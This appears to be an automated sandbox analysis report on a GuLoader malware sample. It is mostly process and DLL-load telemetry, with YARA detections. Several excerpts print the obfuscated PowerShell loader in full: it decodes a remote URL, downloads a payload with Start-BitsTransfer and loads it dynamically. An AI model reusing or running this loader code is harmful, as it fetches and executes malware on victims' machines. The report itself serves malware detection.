Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: tapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: mswsock.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: m.Core.pdb source: powershell.exe, 00000006.00000002.1739272158.00000000085DA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdb source: wab.exe, 00000008.00000003.1760053800.00000000245B0000.00000004.00000001.00020000.00000000.sdmp, wab.exe, 00000008.00000003.1760156162.00000000246D0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: wab.exe, 00000008.00000003.1759301650.00000000247A0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: wab.exe, 00000008.00000003.1759602090.00000000245B0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: wab.exe, 00000008.00000003.1759301650.00000000247A0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb, source: powershell.exe, 00000006.00000002.1735332796.00000000076D4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: wab.exe, 00000008.00000003.1759602090.00000000245B0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.1735332796.00000000076ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: wab.exe, 00000008.00000003.1760053800.00000000245B0000.00000004.00000001.00020000.00000000.sdmp, wab.exe, 00000008.00000003.1760156162.00000000246D0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbv source: powershell.exe, 00000006.00000002.1735332796.00000000076D4000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("powershell "Function Opinions ($Sold){For($Peder=7; $Peder -lt $Sold.Length-1; $Peder+=8){$Becifr20+=$Sold.Subst", "0")

Yara detected GuLoader

Source: Yara match	File source: 00000008.00000003.1761640645.00000000046B0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1744712074.000000000B010000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1744049696.0000000009D30000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1966922652.000001EC5E145000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1733782746.0000000005E26000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Postt)$global:Becifr202 = [System.Text.Encoding]::ASCII.GetString($Digte)$global:Becifr203=$Becifr202.substring(290030,23745)<#Multihand Nonr Stom Dunnitetr Copistr Frag Daglnnin #>$
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Verselinj01 $oprykkern $Thankfulne4), (Verselinj00 @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Verselinj08 = ([AppDomain]::CurrentDomain.GetAssemblies(
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Forgivne8)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule($Forgivne9, $false).DefineType($Thankfulne0, $Th
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Postt)$global:Becifr202 = [System.Text.Encoding]::ASCII.GetString($Digte)$global:Becifr203=$Becifr202.substring(290030,23745)<#Multihand Nonr Stom Dunnitetr Copistr Frag Daglnnin #>$

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Opinions ($Sold){For($Peder=7; $Peder -lt $Sold.Length-1; $Peder+=8){ $Becifr20+=$Sold.Substring($Peder, 1);}$Becifr20;}$Becifr2001=Opinions 'Udkonkuirecomple ChilidxClubbin ';$Becifr2002=Opinions 'MetreneTSkryderrFokusera Nonappn BuckarsAldehydfCitatioe StupidrTrykkerrFollicuiForkontn Inddelg Ghostl ';function Folkemund ($Kvke){& ($Becifr2001) ($Kvke);}$Eksped=Opinions ' Splitfhhighbrot QuerimtMyrsiphpAymissasTrilloe:Hjemmeh/ Artens/Crescogwbevogtew UnpanewTristra. Vokslya GodkensbedeviltErgograeFiligranPlanlgntEmhtteoeDennisgrHuldsagpNiveauorInsectoiValentisInspmiseRrigeresFudderl.Infantec SkabekoHeliconmSkillev.Raderinp MaaneskUpaavir/Starkesm KolonisAlungar/ BabkasNBastideoFoedselnIndtgtsn Atombo2svogers1 Duelbe5aabenhe.MetrummpPapirperDesignlmWorsset ';$Becifr2000=Opinions 'Buldogg$PsychoagSaxofonl ThrobloAfhuggcbTrichopa Roduddl Bighte:UnthroaT EmbrasaLissomncKeglestktombololSolutioe OverrosTjenestsKvllereeErklaer2 Pastic2Tilsprg1Ohmensd8Afsvkke Hmskoen=Diacety PrivateSBeneceptPentaplaHvedomrrMerotomtReserve-ReductiBReautheiMegaloctAffixiasFinlndeTushabtirIntrabraKompagnnMaimonisKavalerfSekundoeOcotillrPatrulj Daadyre-OutdegrSMindedioSteropeuEnnoblerproportcFornrmee Gaases Inhomog$TripennEGelatinkParoxyssLommenspGropedoePilenhjdMonopol mellemm-PastoraDBrndboreForfrersUnderfotHurtigri geissonFlabbieaPeculiatUnfeliniMusicaloFeminolnVuggevi Engarba$TekstreTBolsjevaFilmfrocFlinchekWindsurlGumpekaeCustomisSvirrefsOprikkee Datako2Svingni2 System1Gracise2 Memora ';Folkemund (Opinions 'Oliearb$ThermotgSvindlelAffatteoBlgenexbParadigaMrkbarelDelouse: KvindeTBivognra Pectinc NonbudkBiindtglPlanisheCryptocsOvervinsBootstreTelangi2svejser2Notewis1Omstnin2Fugleko=Mandler$MurkroneVenskabnStandarvDemenss:KladdebaSpiritup HdersppBandernd Cybelea FrisketOscularaElkhorn ') ;Folkemund (Opinions 'VespertICanamoam Podophp RaketvoPorionsrForstant dimnaf- SprayeMBevrtnioProgramdTrepaneuBesiegelBygninge Fodred HematocB CoupeeiStambortDameskrsCartogrTHawsepirTyvekroa SkrivenFlaadeos Metrecf Serrate Sluknirhypochn ') ;$Tacklesse2212=$Tacklesse2212+'\Inte.reg' ;Folkemund (Opinions ' Swazil$LivligegCyclohel Dartleo Paternb thengeasorehealpolrtch:BoligmiTDecolouaRevanchcNonconfkFormatklIvorineeCoactivs NailapsHerediteMoorman2Sagvold2Hertugd1Langtur7Otectom=Eventua(HeterogTPikakefenydannesUdmajnitUndlade-UltramaPWarlockaNymphomtVerdenehCricket Concept$FagbevgT AcetaraAmminoscheniquekRegnefulUninvadeKonfliksEnchases BestaneInflowe2Potrero2 Satsbi1rillsto2Grafolo)Beholde ') ;while (-not $Tacklesse2217) {Folkemund (Opinions 'HaandboI KehoeifOntocyc Parachu( Fortst$GuisardTPrimtalaSammenscGrittedkAkademilWitnessesynanthsPantheisBegramseDagtyve2ludebro2Mostere1Vejledn8Henlgge.HestehaJBarselsoDscommub TrgrnoSOmsadlitfishetkalevittet Interseridicul Impossi- DecubieargumenqForeskr Kontrol$BraseneBMaglemoeHyppigecTeodiczi KuskecfAllehelrLeguage2 Tak
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Opinions ($Sold){For($Peder=7; $Peder -lt $Sold.Length-1; $Peder+=8){ $Becifr20+=$Sold.Substring($Peder, 1);}$Becifr20;}$Becifr2001=Opinions 'Udkonkuirecomple ChilidxClubbin ';$Becifr2002=Opinions 'MetreneTSkryderrFokusera Nonappn BuckarsAldehydfCitatioe StupidrTrykkerrFollicuiForkontn Inddelg Ghostl ';function Folkemund ($Kvke){& ($Becifr2001) ($Kvke);}$Eksped=Opinions ' Splitfhhighbrot QuerimtMyrsiphpAymissasTrilloe:Hjemmeh/ Artens/Crescogwbevogtew UnpanewTristra. Vokslya GodkensbedeviltErgograeFiligranPlanlgntEmhtteoeDennisgrHuldsagpNiveauorInsectoiValentisInspmiseRrigeresFudderl.Infantec SkabekoHeliconmSkillev.Raderinp MaaneskUpaavir/Starkesm KolonisAlungar/ BabkasNBastideoFoedselnIndtgtsn Atombo2svogers1 Duelbe5aabenhe.MetrummpPapirperDesignlmWorsset ';$Becifr2000=Opinions 'Buldogg$PsychoagSaxofonl ThrobloAfhuggcbTrichopa Roduddl Bighte:UnthroaT EmbrasaLissomncKeglestktombololSolutioe OverrosTjenestsKvllereeErklaer2 Pastic2Tilsprg1Ohmensd8Afsvkke Hmskoen=Diacety PrivateSBeneceptPentaplaHvedomrrMerotomtReserve-ReductiBReautheiMegaloctAffixiasFinlndeTushabtirIntrabraKompagnnMaimonisKavalerfSekundoeOcotillrPatrulj Daadyre-OutdegrSMindedioSteropeuEnnoblerproportcFornrmee Gaases Inhomog$TripennEGelatinkParoxyssLommenspGropedoePilenhjdMonopol mellemm-PastoraDBrndboreForfrersUnderfotHurtigri geissonFlabbieaPeculiatUnfeliniMusicaloFeminolnVuggevi Engarba$TekstreTBolsjevaFilmfrocFlinchekWindsurlGumpekaeCustomisSvirrefsOprikkee Datako2Svingni2 System1Gracise2 Memora ';Folkemund (Opinions 'Oliearb$ThermotgSvindlelAffatteoBlgenexbParadigaMrkbarelDelouse: KvindeTBivognra Pectinc NonbudkBiindtglPlanisheCryptocsOvervinsBootstreTelangi2svejser2Notewis1Omstnin2Fugleko=Mandler$MurkroneVenskabnStandarvDemenss:KladdebaSpiritup HdersppBandernd Cybelea FrisketOscularaElkhorn ') ;Folkemund (Opinions 'VespertICanamoam Podophp RaketvoPorionsrForstant dimnaf- SprayeMBevrtnioProgramdTrepaneuBesiegelBygninge Fodred HematocB CoupeeiStambortDameskrsCartogrTHawsepirTyvekroa SkrivenFlaadeos Metrecf Serrate Sluknirhypochn ') ;$Tacklesse2212=$Tacklesse2212+'\Inte.reg' ;Folkemund (Opinions ' Swazil$LivligegCyclohel Dartleo Paternb thengeasorehealpolrtch:BoligmiTDecolouaRevanchcNonconfkFormatklIvorineeCoactivs NailapsHerediteMoorman2Sagvold2Hertugd1Langtur7Otectom=Eventua(HeterogTPikakefenydannesUdmajnitUndlade-UltramaPWarlockaNymphomtVerdenehCricket Concept$FagbevgT AcetaraAmminoscheniquekRegnefulUninvadeKonfliksEnchases BestaneInflowe2Potrero2 Satsbi1rillsto2Grafolo)Beholde ') ;while (-not $Tacklesse2217) {Folkemund (Opinions 'HaandboI KehoeifOntocyc Parachu( Fortst$GuisardTPrimtalaSammenscGrittedkAkademilWitnessesynanthsPantheisBegramseDagtyve2ludebro2Mostere1Vejledn8Henlgge.HestehaJBarselsoDscommub TrgrnoSOmsadlitfishetkalevittet Interseridicul Impossi- DecubieargumenqForeskr Kontrol$BraseneBMaglemoeHyppigecTeodiczi KuskecfAllehelrLeguage2 Tak
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Opinions ($Sold){For($Peder=7; $Peder -lt $Sold.Length-1; $Peder+=8){ $Becifr20+=$Sold.Substring($Peder, 1);}$Becifr20;}$Becifr2001=Opinions 'Udkonkuirecomple ChilidxClubbin ';$Becifr2002=Opinions 'MetreneTSkryderrFokusera Nonappn BuckarsAldehydfCitatioe StupidrTrykkerrFollicuiForkontn Inddelg Ghostl ';function Folkemund ($Kvke){& ($Becifr2001) ($Kvke);}$Eksped=Opinions ' Splitfhhighbrot QuerimtMyrsiphpAymissasTrilloe:Hjemmeh/ Artens/Crescogwbevogtew UnpanewTristra. Vokslya GodkensbedeviltErgograeFiligranPlanlgntEmhtteoeDennisgrHuldsagpNiveauorInsectoiValentisInspmiseRrigeresFudderl.Infantec SkabekoHeliconmSkillev.Raderinp MaaneskUpaavir/Starkesm KolonisAlungar/ BabkasNBastideoFoedselnIndtgtsn Atombo2svogers1 Duelbe5aabenhe.MetrummpPapirperDesignlmWorsset ';$Becifr2000=Opinions 'Buldogg$PsychoagSaxofonl ThrobloAfhuggcbTrichopa Roduddl Bighte:UnthroaT EmbrasaLissomncKeglestktombololSolutioe OverrosTjenestsKvllereeErklaer2 Pastic2Tilsprg1Ohmensd8Afsvkke Hmskoen=Diacety PrivateSBeneceptPentaplaHvedomrrMerotomtReserve-ReductiBReautheiMegaloctAffixiasFinlndeTushabtirIntrabraKompagnnMaimonisKavalerfSekundoeOcotillrPatrulj Daadyre-OutdegrSMindedioSteropeuEnnoblerproportcFornrmee Gaases Inhomog$TripennEGelatinkParoxyssLommenspGropedoePilenhjdMonopol mellemm-PastoraDBrndboreForfrersUnderfotHurtigri geissonFlabbieaPeculiatUnfeliniMusicaloFeminolnVuggevi Engarba$TekstreTBolsjevaFilmfrocFlinchekWindsurlGumpekaeCustomisSvirrefsOprikkee Datako2Svingni2 System1Gracise2 Memora ';Folkemund (Opinions 'Oliearb$ThermotgSvindlelAffatteoBlgenexbParadigaMrkbarelDelouse: KvindeTBivognra Pectinc NonbudkBiindtglPlanisheCryptocsOvervinsBootstreTelangi2svejser2Notewis1Omstnin2Fugleko=Mandler$MurkroneVenskabnStandarvDemenss:KladdebaSpiritup HdersppBandernd Cybelea FrisketOscularaElkhorn ') ;Folkemund (Opinions 'VespertICanamoam Podophp RaketvoPorionsrForstant dimnaf- SprayeMBevrtnioProgramdTrepaneuBesiegelBygninge Fodred HematocB CoupeeiStambortDameskrsCartogrTHawsepirTyvekroa SkrivenFlaadeos Metrecf Serrate Sluknirhypochn ') ;$Tacklesse2212=$Tacklesse2212+'\Inte.reg' ;Folkemund (Opinions ' Swazil$LivligegCyclohel Dartleo Paternb thengeasorehealpolrtch:BoligmiTDecolouaRevanchcNonconfkFormatklIvorineeCoactivs NailapsHerediteMoorman2Sagvold2Hertugd1Langtur7Otectom=Eventua(HeterogTPikakefenydannesUdmajnitUndlade-UltramaPWarlockaNymphomtVerdenehCricket Concept$FagbevgT AcetaraAmminoscheniquekRegnefulUninvadeKonfliksEnchases BestaneInflowe2Potrero2 Satsbi1rillsto2Grafolo)Beholde ') ;while (-not $Tacklesse2217) {Folkemund (Opinions 'HaandboI KehoeifOntocyc Parachu( Fortst$GuisardTPrimtalaSammenscGrittedkAkademilWitnessesynanthsPantheisBegramseDagtyve2ludebro2Mostere1Vejledn8Henlgge.HestehaJBarselsoDscommub TrgrnoSOmsadlitfishetkalevittet Interseridicul Impossi- DecubieargumenqForeskr Kontrol$BraseneBMaglemoeHyppigecTeodiczi KuskecfAllehelrLeguage2 Tak	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Opinions ($Sold){For($Peder=7; $Peder -lt $Sold.Length-1; $Peder+=8){ $Becifr20+=$Sold.Substring($Peder, 1);}$Becifr20;}$Becifr2001=Opinions 'Udkonkuirecomple ChilidxClubbin ';$Becifr2002=Opinions 'MetreneTSkryderrFokusera Nonappn BuckarsAldehydfCitatioe StupidrTrykkerrFollicuiForkontn Inddelg Ghostl ';function Folkemund ($Kvke){& ($Becifr2001) ($Kvke);}$Eksped=Opinions ' Splitfhhighbrot QuerimtMyrsiphpAymissasTrilloe:Hjemmeh/ Artens/Crescogwbevogtew UnpanewTristra. Vokslya GodkensbedeviltErgograeFiligranPlanlgntEmhtteoeDennisgrHuldsagpNiveauorInsectoiValentisInspmiseRrigeresFudderl.Infantec SkabekoHeliconmSkillev.Raderinp MaaneskUpaavir/Starkesm KolonisAlungar/ BabkasNBastideoFoedselnIndtgtsn Atombo2svogers1 Duelbe5aabenhe.MetrummpPapirperDesignlmWorsset ';$Becifr2000=Opinions 'Buldogg$PsychoagSaxofonl ThrobloAfhuggcbTrichopa Roduddl Bighte:UnthroaT EmbrasaLissomncKeglestktombololSolutioe OverrosTjenestsKvllereeErklaer2 Pastic2Tilsprg1Ohmensd8Afsvkke Hmskoen=Diacety PrivateSBeneceptPentaplaHvedomrrMerotomtReserve-ReductiBReautheiMegaloctAffixiasFinlndeTushabtirIntrabraKompagnnMaimonisKavalerfSekundoeOcotillrPatrulj Daadyre-OutdegrSMindedioSteropeuEnnoblerproportcFornrmee Gaases Inhomog$TripennEGelatinkParoxyssLommenspGropedoePilenhjdMonopol mellemm-PastoraDBrndboreForfrersUnderfotHurtigri geissonFlabbieaPeculiatUnfeliniMusicaloFeminolnVuggevi Engarba$TekstreTBolsjevaFilmfrocFlinchekWindsurlGumpekaeCustomisSvirrefsOprikkee Datako2Svingni2 System1Gracise2 Memora ';Folkemund (Opinions 'Oliearb$ThermotgSvindlelAffatteoBlgenexbParadigaMrkbarelDelouse: KvindeTBivognra Pectinc NonbudkBiindtglPlanisheCryptocsOvervinsBootstreTelangi2svejser2Notewis1Omstnin2Fugleko=Mandler$MurkroneVenskabnStandarvDemenss:KladdebaSpiritup HdersppBandernd Cybelea FrisketOscularaElkhorn ') ;Folkemund (Opinions 'VespertICanamoam Podophp RaketvoPorionsrForstant dimnaf- SprayeMBevrtnioProgramdTrepaneuBesiegelBygninge Fodred HematocB CoupeeiStambortDameskrsCartogrTHawsepirTyvekroa SkrivenFlaadeos Metrecf Serrate Sluknirhypochn ') ;$Tacklesse2212=$Tacklesse2212+'\Inte.reg' ;Folkemund (Opinions ' Swazil$LivligegCyclohel Dartleo Paternb thengeasorehealpolrtch:BoligmiTDecolouaRevanchcNonconfkFormatklIvorineeCoactivs NailapsHerediteMoorman2Sagvold2Hertugd1Langtur7Otectom=Eventua(HeterogTPikakefenydannesUdmajnitUndlade-UltramaPWarlockaNymphomtVerdenehCricket Concept$FagbevgT AcetaraAmminoscheniquekRegnefulUninvadeKonfliksEnchases BestaneInflowe2Potrero2 Satsbi1rillsto2Grafolo)Beholde ') ;while (-not $Tacklesse2217) {Folkemund (Opinions 'HaandboI KehoeifOntocyc Parachu( Fortst$GuisardTPrimtalaSammenscGrittedkAkademilWitnessesynanthsPantheisBegramseDagtyve2ludebro2Mostere1Vejledn8Henlgge.HestehaJBarselsoDscommub TrgrnoSOmsadlitfishetkalevittet Interseridicul Impossi- DecubieargumenqForeskr Kontrol$BraseneBMaglemoeHyppigecTeodiczi KuskecfAllehelrLeguage2 Tak	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFAAB779386 push es; iretd	3_2_00007FFAAB779387
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFAAB77D7B2 push edi; retf	3_2_00007FFAAB77D7F6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_07A0E5A6 push esi; retf	6_2_07A0E5A7
